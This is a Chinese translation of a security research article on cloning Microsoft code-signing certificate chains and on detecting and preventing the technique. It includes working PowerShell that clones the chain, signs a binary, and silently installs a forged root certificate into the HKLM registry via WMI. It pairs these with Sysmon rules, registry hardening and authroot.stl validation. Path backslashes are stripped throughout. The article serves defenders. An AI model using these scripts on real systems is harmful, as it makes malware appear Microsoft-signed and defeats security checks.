代码签名证书克隆攻击及防御方法

阅读量235004

|

发布时间 : 2017-12-25 15:05:15

x
译文声明

本文是翻译文章,文章原作者 Matt Graeber,文章来源:specterops.io

原文地址:https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

译文仅供参考,具体内容表达以及含义原文为准。

在阅读本文章之前,请大家先思考一个问题:“如果你看到一个由微软(或其他知名厂商)签名的文件,你的第一想法是什么?”

介绍:SOC分析师使用Autoruns时的场景

假设我们在一个安全运营中心(SOC)工作,我们的职责是在40000个主机上建立持久性条目,具体任务是检查每个运行密钥的持久性。为完成这一任务,我们在企业中部署了Sysinternals,在每个系统上运行Autoruns,并将结果转发到Splunk上,这样就能实现了轻松管理。一些有经验的分析师可能会知道,经过签名的微软应用程序可能会被滥用,所以在运行autorunsc.exe时,我们需要确保“Microsoft”和“Windows”条目不被隐藏。我们将所有常规结果集中在一起,并重点关注其中的异常值,随后从40000个主机中找到了6台主机的系统存在如下异常:

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
   SecurityAudit
     C:Windows DefenderMpCmdRun.exe
     Microsoft Malware Protection Command
Line Utility
     (Verified) Microsoft Corporation
     4.12.16299.15
     c:windows defendermpcmdrun.exe
     11/25/1912 5:39 AM

于是,我们采取了下列步骤,进一步确定这个条目是否可疑:

1. 我们注意到该文件是经过验证的“Microsoft Corporation”文件,知道它是经过微软签名的,这个特殊的签名并不容易被黑客滥用。

2. 随后,我们百度“MpCmdRun.exe”关键词,确认它确实与Windows Defender有关。

3. 假设企业已经接受了风险,于是我们启用VirusTotalAutoruns,其返回结果表明没有杀毒软件认为该文件具有风险。

4. 我们仍然不是很确定为什么该条目会出现异常,但是考虑到我们的企业是一个巨大、复杂的环境,因此也并不存在完美的基线。

5. 我们将其视为误报,因为我们确信MpCmdRun并没有被滥用,并且之后将这个哈希值加入白名单。然后紧接着,我们就去处理下一个异常条目了。

这样的场景,也许大家看来非常熟悉。但不幸的是,我们使用了Autoruns,就代表着忽略掉了一些直接的证据。并且,我们不仅仅忽略这一次,由于加入了白名单,就注定了我们在以后也将会一直忽略它。

 

证书链克隆与克隆根证书可信攻击

然而,我们SOC的分析师未能发现,MpCmdRun.exe使用了克隆的微软证书链进行签名。其原因在于,攻击者在受感染的目标系统上,信任了其克隆的根证书。那么,攻击者如何进行这样的攻击呢?具体步骤可总结如下:

1. 将合法证书链中的所有证书导出到磁盘,这些证书将用作克隆证书链的模板。

2. 使用已经导出到磁盘的证书链,创建一个克隆的证书链。PowerShell中的 New-SelfSignedCertificate cmdlethttps://docs.microsoft.com/en-us/powershell/module/pkiclient/new-selfsignedcertificate?view=win10-ps)中包含一个非常方便的“-CloneCert”和“-Signer”参数,可以用来实现上述内容。在克隆该链的过程中,便可以使用克隆的证书链对恶意代码进行签名。

3. 此外,还需要导出克隆的根证书。原因在于,需要在目标系统上信任此证书,以使得经过签名的恶意代码能被成功验证,并被安全工具识别为合法代码。

这个视频(YouTube)展示了手动导出用于对kernel32.dll进行签名的证书链的过程。

现在,微软的证书链已经导出到磁盘,接下来可以将其用作创建假冒证书链的模版。可以使用以下代码来实现:

# We'll just store the cloned certificates in
current user "Personal" store for now.

$CertStoreLocation = @{ CertStoreLocation =
'Cert:CurrentUserMy' }

 

$MS_Root_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32Root.cer

$Cloned_MS_Root_Cert =
New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

 

$MS_PCA_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32PCA.cer

$Cloned_MS_PCA_Cert =
New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert
@CertStoreLocation

 

$MS_Leaf_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32Leaf.cer

$Cloned_MS_Leaf_Cert =
New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert
@CertStoreLocation

 

# Create some sample code to practice signing
on

Add-Type -TypeDefinition @'

public class Foo {

   
public static void Main(string[] args) {

       
System.Console.WriteLine("Hello, World!");

       
System.Console.ReadKey();

    }

}

'@ -OutputAssembly C:TestHelloWorld.exe

 

# Validate that that HelloWorld.exe is not
signed.

Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe

 

# Sign HelloWorld.exe with the cloned
Microsoft leaf certificate.

Set-AuthenticodeSignature -Certificate
$Cloned_MS_Leaf_Cert -FilePath C:TestHelloWorld.exe

# The certificate will not properly validate
because the root certificate is not trusted.

 

# View the StatusMessage property to see the
reason why Set-AuthenticodeSignature returned "UnknownError"

# "A certificate chain processed, but
terminated in a root certificate which is not trusted by the trust
provider"

Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe | Format-List *

 

# Save the root certificate to disk and
import it into the current user root store.

# Upon doing this, the HelloWorld.exe
signature will validate properly.

Export-Certificate -Type CERT -FilePath
C:TestMSKernel32Root_Cloned.cer -Cert $Cloned_MS_Root_Cert

Import-Certificate -FilePath
C:TestMSKernel32Root_Cloned.cer -CertStoreLocation Cert:CurrentUserRoot

 

# You may need to start a new PowerShell
process for the valid signature to take effect.

Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe

这个视频(YouTube)展示了上述代码运行的过程。

那么,为什么这种攻击方法能够有效呢?原因在于,要验证一个数字签名,主要是验证以下内容:

1. 完整性验证:验证文件的哈希值是否与签名中的哈希值一致。若二者不一致,则证明文件的完整性已经被破坏,该文件不应被信任。

2. 证书链验证:验证每个证书是否由父证书(链中的前一个证书)正确签发。

3. 证书有效性检查:如果数字签名带有时间戳,则验证时间戳证书的计数签名链(Timestamping Certificate Counter-Signature Chain);如果链中的每个证书都没有时间戳,则逐一验证这些证书是否在规定的有效期内。

4. 吊销检查:检查链中的全部证书是否已被管理员吊销,是否已经被列为不受信任的证书。

5. CA验证:验证签名链(Signer Chain)中的根证书是否为可信证书。

从技术上来说,我们的克隆证书能够通过上述全部验证,因此会被任何进行签名验证的工具(例如:SigcheckAutorunsProcexp、反病毒软件等)判定为合法证书。

如果你观看了上述视频,可能会注意到,在“CurrentUser”存储位置安装根证书时,会弹出一个对话框询问是否信任该证书。但如果以管理员权限运行,则不会出现该提示。我非常难以理解的一点是,为什么非管理员用户居然能够选择信任根CA证书,出于安全考虑,这种情况显然应该不被允许。

 

攻击过程

之前的视频中,演示了如何在本地创建根证书并信任该证书。然而,在现实的攻击场景中,我们并不会克隆证书链并在目标系统上对恶意文件进行签名。事实上,我们会创建一个克隆链,并在目标系统上对恶意代码进行签名。目前来说,最大的一个问题仍然是如何让目标系统信任我们克隆的CA证书。最直接的方案就是将其放在磁盘并安装它,然而该方案难以实现。另一种方法,我们还可以以管理员的身份,直接在注册表中安装并信任证书。以下代码,示范了如何使用WMI对克隆的根CA证书进行远程安装并信任该证书:

$CertThumbprint
= '1F3D38F280635F275BE92B87CF83E40E40458400'

$EncodedCertBlob
=
'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'

 

Invoke-CimMethod
-Namespace root/default -ClassName StdRegProv -MethodName CreateKey -Arguments
@{

    hDefKey = [UInt32] 2147483650 # HKLM

    sSubKeyName =
"SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"

}

 

Invoke-CimMethod
-Namespace root/default -ClassName StdRegProv -MethodName SetBinaryValue
-Arguments @{

    hDefKey = [UInt32] 2147483650 # HKLM

    sSubKeyName = "SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"

    sValueName = 'Blob'

    uValue =
[Convert]::FromBase64String($EncodedCertBlob)

}

在上述代码中,$EncodedCertBlob是导出的克隆根CA证书文件经过Base64编码后的内容。$CertThumbprint是指纹值,即证书的SHA1哈希值。因此,在安装该证书之后,任何使用来自该CA证书签名的代码都会被正确验证。在这种特定情况下,这段代码还会被显示为经过微软签名的代码。

 

检测恶意根CA证书安装

考虑到这种攻击方式的重点,在于安装根CA证书。因此,我们要检测这一恶意行为,最重要的就是检测安装证书的动作。由于根CA证书的安装并不常见,所以通过对注册表进行监控,我们应该能以相当低的误报率发现这一行为并进行告警。Sysmon便可以出色地实现这一检测的功能,下面是捕获根证书安装行为的相关配置:

<Sysmon
schemaversion="3.4">

 
<HashAlgorithms>*</HashAlgorithms>

  <EventFiltering>

    <!-- Event ID 12,13,14 == RegObject
added/deleted, RegValue Set, RegObject Renamed. -->

    <RegistryEvent
onmatch="include">

      <!-- LocalMachine or CurrentUser ROOT
certificate installation -->

      <!-- Reference:
https://technet.microsoft.com/en-us/library/cc783813(v=ws.10).aspx -->

      <TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesRootCertificates</TargetObject>

      <TargetObject condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesRootCertificates</TargetObject>

      <TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesRootCertificates</TargetObject>

      <!-- LocalMachine or CurrentUser CA
certificate installation -->

      <TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesCACertificates</TargetObject>

      <TargetObject
condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesCACertificates</TargetObject>

      <TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesCACertificates</TargetObject>

      <!-- LocalMachine or CurrentUser
AuthRoot certificate installation -->

      <TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesAuthRootCertificates</TargetObject>

      <TargetObject
condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesAuthRootCertificates</TargetObject>

      <TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesAuthRootCertificates</TargetObject>

    </RegistryEvent>

  </EventFiltering>

</Sysmon>

当有根证书安装事件触发时,其告警内容如下所示:

Registry
value set:
EventType: SetValue
UtcTime: 2017-12-20 17:12:11.999
ProcessGuid: {7ed59fb9-99eb-5a3a-0000-00102ab1af06}
ProcessId: 4404
Image: C:WINDOWSsystem32wbemwmiprvse.exe
TargetObject:
HKLMSOFTWAREMicrosoftSystemCertificatesROOTCertificates1F3D38F280635F275BE92B87CF83E40E40458400Blob
Details: Binary Data

使用此规则集,我们可能会收到很多CreateKey事件的误报,但我们只需重点关注的是TargetObject属性以“<THUMBPRINT_VALUE>Blob”结尾的Setvalue事件,因为这表示直接安装或者修改了根证书的二进制大对象(Blob),其误报率相当低。

然而,比较不方便的一点是,Sysmon的配置还暂不支持将注册表事件限制为特定的EventType,也不允许在规则条目中使用通配符。

那么,接下来的一个问题就是:我怎么知道这个根证书安装的过程,是否是恶意的?

按照常规逻辑,我们首先要做的就是查看证书的内容,并寻找其中是否有引人注意的内容。我们可以借助PowerShell来轻松实现证书的查看。

Get-ChildItem
-Path Cert: -Recurse | Where-Object { $_.Thumbprint -eq
'1F3D38F280635F275BE92B87CF83E40E40458400' } | For
mat-List *

在运行此命令后,可能会显示如下结果:

PSPath                   :
Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot1F3D38F280635F275BE92B87CF83E40E40458400
PSParentPath             :
Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot
PSChildName              :
1F3D38F280635F275BE92B87CF83E40E40458400
PSDrive                  : Cert
PSProvider               : Microsoft.PowerShell.SecurityCertificate
PSIsContainer            : False
EnhancedKeyUsageList     : {}
DnsNameList              : {Microsoft
Root Certificate Authority 2010}
SendAsTrustedIssuer      : False
EnrollmentPolicyEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
EnrollmentServerEndPoint :
Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
PolicyId                 :
Archived                 : False
Extensions               :
{System.Security.Cryptography.Oid, System.Security.Cryptography.Oid,
                          
System.Security.Cryptography.Oid}
FriendlyName             :
IssuerName               :
System.Security.Cryptography.X509Certificates.X500DistinguishedName
NotAfter                 : 11/30/2042
9:06:37 PM
NotBefore                : 12/1/2017
1:55:14 PM
HasPrivateKey            : False
PrivateKey               :
PublicKey                :
System.Security.Cryptography.X509Certificates.PublicKey
RawData                  : {48, 130, 5,
219...}
SerialNumber             :
52761736EEA4458142453E2D73FA89B2
SubjectName              :
System.Security.Cryptography.X509Certificates.X500DistinguishedName
SignatureAlgorithm       :
System.Security.Cryptography.Oid
Thumbprint               : 1F3D38F280635F275BE92B87CF83E40E40458400
Version                  : 3
Handle                   : 1849876297952
Issuer                   : CN=Microsoft
Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond,
S=Washington, C=US
Subject                  : CN=Microsoft
Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond,
S=Washington, C=US

从表面上来看,这个证书感觉像是合法的。但具体而言,是什么使得这个证书合法或者可信?我们将会在本文的最后一节中介绍。

 

防止恶意的“CurrentUser”根CA证书安装

在演示根CA安装的视频中,它是在当前用户的环境下进行的。尽管针对管理员用户来说,并没有较强的证书安装防范机制,但在当前用户环境下,我们可以通过设置注册表相关键值来防止安装根证书:

HKLMSOFTWAREPoliciesMicrosoftSystemCertificatesRootProtectedRoots
- Flags (REG_DWORD) - 1

虽然在官方文档中,并没有详细说明这个注册表键值,但在Windows SDK中的wincrypt.h中,还是提供了一些关于“Flags”值设置的线索。头文件中关于如何设置“Flags”值的说明如下:

//
Set the following flag to inhibit the opening of the CurrentUser's
// .Default physical store when opening the CurrentUser's "Root"
system store.
// The .Default physical store open's the CurrentUser SystemRegistry
"Root"
// store.
#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG    0x1

//
Set the following flag to inhibit the adding of roots from the
// CurrentUser SystemRegistry "Root" store to the protected root list
// when the "Root" store is initially protected.
#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG     0x2

在设置此键值后,如果尝试将根CA证书安装到CurrentUser根存储位置,将会出现拒绝访问错误(Access Denied Error)。

尽管这并不是最强大的预防性方案,但这是一个有效的方法,可以防止非管理员用户随意地选择信任根CA证书。

正如其他需要强制执行的预防措施一样,管理员首先需要考虑的是“在我的环境中有可能会发生什么事情”。正如其他的预防措施一样,最重要的一点是要在环境中分阶段地进行相应限制。不管出于任何原因,一旦我们允许任何用户信任根证书,那么攻击者或恶意软件就也有能力去信任任意的根证书。在这里,Windows管理员将始终可以通过组策略的方式,指定受信任的根证书。根据我们最近发现的一个案例,一个Savitech音频驱动程序能够在不提醒用户的情况下安装自己的根证书。但一旦我们进行了上述配置,只有管理员账户才有权信任此证书。相比于获得微软信任的根证书,其他根证书就不会再那么轻易地得到管理员的信任。

 

对于根CA信任的适当验证

很久以来,我都没有找到太好的证书信任的验证方式,直到2.60版本的Sigcheckhttps://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)发布。在该版本中,引入了“-v”参数,可以与“-t”或者“-tu”一起使用:

-t[u][v]   Dump contents of specified certificate store
('*' for all stores). Specify -tu to query the user store (machine store is the
default). Append '-v' to have Sigcheck download the trusted Microsoft root
certificate list and only output valid certificates not rooted to a certificate
on that list. If the site is not accessible, authrootstl.cab or authroot.stl in
the current directory are used instead, if present.

下面是输出的样例:

sigcheck64.exe
-tuv -nobanner

UserRoot:
  Microsoft Root Certificate Authority
2010
     Cert Status:    Valid
     Valid Usage:    All
     Cert Issuer:    Microsoft Root Certificate Authority 2010
     Serial Number:  52 76 17 36 EE A4 45 81 42 45 3E 2D 73 FA 89
B2
     Thumbprint:     1F3D38F280635F275BE92B87CF83E40E40458400
     Algorithm:      sha256RSA
     Valid from:     1:55 PM 12/1/2017
     Valid to:       9:06 PM 11/30/2042

那么,为什么这个条目不被信任呢?针对微软的证书,我们根据什么来判断其是否可信?答案是authroot.stlhttp://unmitigatedrisk.com/?p=259),一个经过签名的ASN.1编码文件,其中包含微软认为可信的全部根证书。这就相当于在操作系统中默认安装的一组根CA。微软经常会更新此列表,增加或撤销一些证书,并且会通过此链接来发布更新。

事实上,我们不一定要依靠Sigcheck来执行根CA信任验证。为了更好地理解STL这一文件格式,我写了一个解析器,用于提取所有可信证书的指纹值,以便我们在PowerShell脚本中进行验证。如下图所示,我们可以看到突出显示的“恶意”克隆根CA证书:

我们也可以使用certutil.exe解析authroot.stl

certutil
-dump authroot.stl

通过解析authroot.stl,我们可以轻松确定哪些Microsoft指定的根CA是值得信任的:

PS>
ls Cert:LocalMachineRoot | Where-Object { ($TrustedRootHashes -contains
$_.Thumbprint) -and ($_.Subject.StartsWith('CN=Microsoft Root')) }

Thumbprint
: CDD4EEAE6000AC7F40C3802C171E30148030C072
Subject    : CN=Microsoft Root
Certificate Authority, DC=microsoft, DC=com

Thumbprint
: A43489159A520F0D93D032CCAF37E7FE20A8B419
Subject    : CN=Microsoft Root Authority,
OU=Microsoft Corporation, OU=Copyright (c) 1997 Microsoft Corp.

Thumbprint
: 8F43288AD272F3103B6FB1428485EA3014C0BCFE
Subject    : CN=Microsoft Root
Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washington,
C=US

Thumbprint
: 3B1EFD3A66EA28B16697394703A72CA340A05BD5
Subject    : CN=Microsoft Root
Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington,
C=US

因此,相比于“简单地查看证书发布者名称,并检查其是否链接到受信任的根目录”这种方式,我们有一种更理想的方式,来验证代码是否经过微软的签名认证,具体步骤如下:

1. 验证二进制文件的完整性。

2. 验证链中的每个证书是否有效。

3. 验证根证书的指纹是否包含在authroot.stl中的可信指纹之内。在这里,还有另外一种方法可以用于验证,就是调用CertVerifyCertificateChainPolicy函数,并传递CERT_CHAIN_POLICY_MICROSOFT_ROOT值。该函数实际上使用了相同的证书指纹数组,可以用于验证根证书。

在这里,还存在着一个漏洞,就是authroot.stl中的Microsoft Flight Root证书(指纹:F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB),该证书是为微软预览版本颁发。由于该证书没有时间戳,因此我们将无法验证该证书是否在有效期外进行了签名。这可能是微软有意做出的决定。如果我们对于可信的根证书指纹不甚了解,那么缺少MSFT时间戳的证书很可能成为攻击者所选择的一个目标,用于克隆证书链。下面是一个由Microsoft Flight Root颁发的证书签名的kernel32.dll的示例:

 

总结

希望通过本文,能让大家更好地理解攻击者如何为恶意代码进行合法签名的。然而,这并不是唯一可以利用的方法。除此之外,我还进行了关于如何劫持Subject Interface PackagesSIP的相关研究,借助这种方法,同样可以将合法的数字签名应用于恶意代码,并能够通过完整性检查。

我们之所以进行这些研究,有两个目的:一是为了让安全人员在调查过程中能做出合理的判断,二是提醒大家对代码的签名进行正确验证的重要性。我们不应该仅根据声称的内容来认定签名的来源,而是应该深入调查其实际的来源。

最后,一些读者可能会发现,在对克隆证书链和签名的代码进行操作的过程中,可能会出现一些异常情况。我会发布另一篇博客文章来详细讨论这些异常,我们2018年见!

本文翻译自specterops.io 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
P!chu
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66